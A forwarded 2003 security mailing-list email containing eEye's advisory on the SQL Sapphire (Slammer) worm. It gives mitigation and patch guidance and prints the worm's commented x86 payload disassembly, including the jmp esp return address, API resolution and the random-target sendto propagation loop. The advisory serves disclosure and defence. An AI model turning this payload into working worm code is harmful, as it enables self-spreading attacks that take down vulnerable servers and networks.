FYI - Steve in Memphis ----- Original Message ----- From: "Bill Spencer" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Saturday, January 25, 2003 1:38 PM Subject: Fwd: SQL Sapphire Worm Analysis -- fairly detailed
> > >Approved-By: [EMAIL PROTECTED] > >X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) > >Importance: Normal > >Date: Sat, 25 Jan 2003 04:32:55 -0800 > >Reply-To: Windows NTBugtraq Mailing List <[EMAIL PROTECTED]> > >Sender: Windows NTBugtraq Mailing List <[EMAIL PROTECTED]> > >From: Marc Maiffret <[EMAIL PROTECTED]> > >Subject: SQL Sapphire Worm Analysis > >To: [EMAIL PROTECTED] > >X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.10; VAE: > >6.17.0.2; VDF: 6.17.0.19; host: mail.psyc.memphis.edu) > > > >SQL Sapphire Worm Analysis > > > >Release Date: > >1/25/03 > > > >Severity: > >High > > > >Systems Affected: > >Microsoft SQL Server 2000 pre SP 2 > > > >Description: > >Late Friday, January 24, 2003 we became aware of a new SQL worm spreading > >quickly across various networks around the world. > > > >The worm is spreading using a buffer overflow to exploit a flaw in Microsoft > >SQL Server 2000. The SQL 2000 server flaw was discovered in July, 2002 by > >Next Generation Security Software Ltd. The buffer overflow exists because of > >the way SQL improperly handles data sent to its Microsoft SQL Monitor port. > >Attackers leveraging this vulnerability will be executing their code as > >SYSTEM, since Microsoft SQL Server 2000 runs with SYSTEM privileges. > > > >The worm works by generating pseudo-random IP addresses to try to infect > >with its payload. The worm payload does not contain any additional > >malicious content (in the form of backdoors etc.); however, because of the > >nature of the worm and the speed at which it attempts to re-infect systems, > >it can potentially create a denial-of-service attack against infected > >networks. > > > >We have been able to verify that multiple points of connectivity on the > >Internet have been bogged down since 9pm Pacific Standard Time. > > > >It should be noted that this worm is not the same as an earlier SQL worm > >that used the SA/nopassword SQL vulnerability as its spread vector. This is > >a new worm is more devastating as it is taking advantage of a > >software-specific flaw rather than a configuration error. We have already > >had many reports of smaller networks brought down due to the flood of data > >from the Sapphire Worm trying to re-infect new systems. > > > >Corrective Action > >We recommend that people immediately firewall SQL service ports at all of > >their gateways. The worm uses only UDP port 1434 (SQL Monitor Port) to > >spread itself to a new system; however, it is safe practice to filter all > >SQL traffic at all gateways. The following is a list of SQL server ports: > >ms-sql-s 1433/tcp #Microsoft-SQL-Server > >ms-sql-s 1433/udp #Microsoft-SQL-Server > >ms-sql-m 1434/tcp #Microsoft-SQL-Monitor > >ms-sql-m 1434/udp #Microsoft-SQL-Monitor > > > >Once again this worm is taking advantage of a known vulnerability that has > >had a patch available for many months. Microsoft has also released a recent > >service pack for SQL (Service Pack 3) that includes a fix for this > >vulnerability. > > > >Standalone patch: > >http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security / > >bulletin/MS02-039.asp > > > >SQL 2000 Service Pack 3: > >http://www.microsoft.com/sql/downloads/2000/sp3.asp > > > >Previous SQL Service Pack versions are vulnerable. > > > >Technical Description > > > >The following is a quick run-down of what the worm's payload is doing after > >infection: > >1. Retrieves the address of GetProcAddress and Loadlibrary from the IAT in > >sqlsort.dll. It snags the necessary library base addresses and function > >entry points as needed. > >2. Calls gettickcount, and uses returned count as a pseudo-random seed > >3. Creates a UDP socket > >4. Performs a simple pseudo random number generation formula using the > >returned gettickcount value to generate an IP Address that will later be > >used as the target. > >5. Send worm payload in a SQL Server Resolution Service request to the > >pseudo random target address, on port 1434 (UDP). > >6. Return back to formula and continue generating new pseudo random > >addresses. > > > > > > push 42B0C9DCh ; [RET] sqlsort.dll -> jmp esp > > mov eax, 1010101h ; Reconstruct session, after the > >overflow the payload buffer > > ; get's corrupted during program > >execution but before the > > ; payload is executed. . > > xor ecx, ecx > > mov cl, 18h > > > >FIXUP: > > push eax > > loop FIXUP > > xor eax, 5010101h > > push eax > > mov ebp, esp > > push ecx > > push 6C6C642Eh > > push 32336C65h > > push 6E72656Bh ; kernel32 > > push ecx > > push 746E756Fh ; GetTickCount > > push 436B6369h > > push 54746547h > > mov cx, 6C6Ch > > push ecx > > push 642E3233h ; ws2_32.dll > > push 5F327377h > > mov cx, 7465h > > push ecx > > push 6B636F73h ; socket > > mov cx, 6F74h > > push ecx > > push 646E6573h ; sendto > > mov esi, 42AE1018h ; IAT from sqlsort > > lea eax, [ebp-2Ch] ; (ws2_32.dll) > > push eax > > call dword ptr [esi] ; call loadlibrary > > push eax > > lea eax, [ebp-20h] > > push eax > > lea eax, [ebp-10h] ; (kernel32.dll) > > push eax > > call dword ptr [esi] ; loadlibrary > > push eax > > mov esi, 42AE1010h ; IAT from sqlsort > > mov ebx, [esi] > > mov eax, [ebx] > > cmp eax, 51EC8B55h ; check entry point fingerprint > > jz short VALID_GP ; Check entry point fingerprint for > >getprocaddress, if it failes > > ; fall back to GetProcAddress entry > >in another DLL version. > > ; Undetermined what dll versions > >this will succedd on. Due > > ; to the lack of reliable importing > >this may not work across all > > ; dll versions. > > mov esi, 42AE101Ch ; IAT entry -> 77EA094C > > > >VALID_GP: > > call dword ptr [esi] ; GetProcAddress > > call eax ; return from GetProcaddress = > >GetTickCount entrypoint > > xor ecx, ecx > > push ecx > > push ecx > > push eax > > xor ecx, 9B040103h > > xor ecx, 1010101h > > push ecx ; 9A050002 = port 1434 / AF_INET > > lea eax, [ebp-34h] ; (socket) > > push eax > > mov eax, [ebp-40h] ; ws2_32 base address > > push eax > > call dword ptr [esi] ; GetProcAddress > > push 11h > > push 2 > > push 2 > > call eax ; socket > > push eax > > lea eax, [ebp-3Ch] ; sendto > > push eax > > mov eax, [ebp-40h] ; ws2_32 base address > > push eax > > call dword ptr [esi] ; GetProcAddress > > mov esi, eax ; save sendto -> esi > > or ebx, ebx > > xor ebx, 0FFD9613Ch > > > >PRND: > > mov eax, [ebp-4Ch] ; Pseudo Random Algorithm Start > > lea ecx, [eax+eax*2] > > lea edx, [eax+ecx*4] > > shl edx, 4 > > add edx, eax > > shl edx, 8 > > sub edx, eax > > lea eax, [eax+edx*4] > > add eax, ebx ; Pseudo Random Algorithm End > > mov [ebp-4Ch], eax > > push 10h > > lea eax, [ebp-50h] > > push eax > > xor ecx, ecx > > push ecx > > xor cx, 178h > > push ecx > > lea eax, [ebp+3] > > push eax > > mov eax, [ebp-54h] > > push eax > > call esi ; sendto > > jmp short PRND ; Jump back to Pseudo Random Algorithm > >Start > > > >In Closing > >We have provided brief information here as we are currently working to > >understand more of the worm's internal behavior. We will provide updates as > >they become available. > > > >This worm has been dubbed the "Sapphire Worm" by eEye due to the fact that > >several engineers had to be pulled away from local bars to begin the > >investigation/dissection process. > > > >Credit: > >Riley Hassell > > > >Related Links: > >SQLSecurity.com > >http://sqlsecurity.com/ > > > >Microsoft Security Bulletin: > >http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security / > >bulletin/ms02-039.asp > > > >Copyright (c) 1998-2003 eEye Digital Security > >Permission is hereby granted for the redistribution of this alert > >electronically. It is not to be edited in any way without express consent > >of eEye. If you wish to reprint the whole or any part of this alert in any > >other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for > >permission. > > > >Disclaimer > >The information within this paper may change without notice. Use of this > >information constitutes acceptance for use in an AS IS condition. There are > >NO warranties with regard to this information. In no event shall the author > >be liable for any damages whatsoever arising out of or in connection with > >the use or spread of this information. Any use of this information is at the > >user's own risk. > > > >Feedback > >Please send suggestions, updates, and comments to: > > > >eEye Digital Security > >http://www.eEye.com > >[EMAIL PROTECTED] > > > >ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo o > >Delivery co-sponsored by TruSecure Corporation > >ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo o > >TICSA - Anniversary Special - Limited Time > > > >Become TICSA certified for just $221.25 US when you register before 3/31/03 > >with PROMO "TS0103" at www.2test.com. NO membership fees, certification > >good for 2 years. Price for international delivery just $296.25 US, with > >this offer. Offer cannot be combined with any other special and expires > >3/31/03. Visit www.trusecure.com/ticsa for full details. > > > >ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo o > >

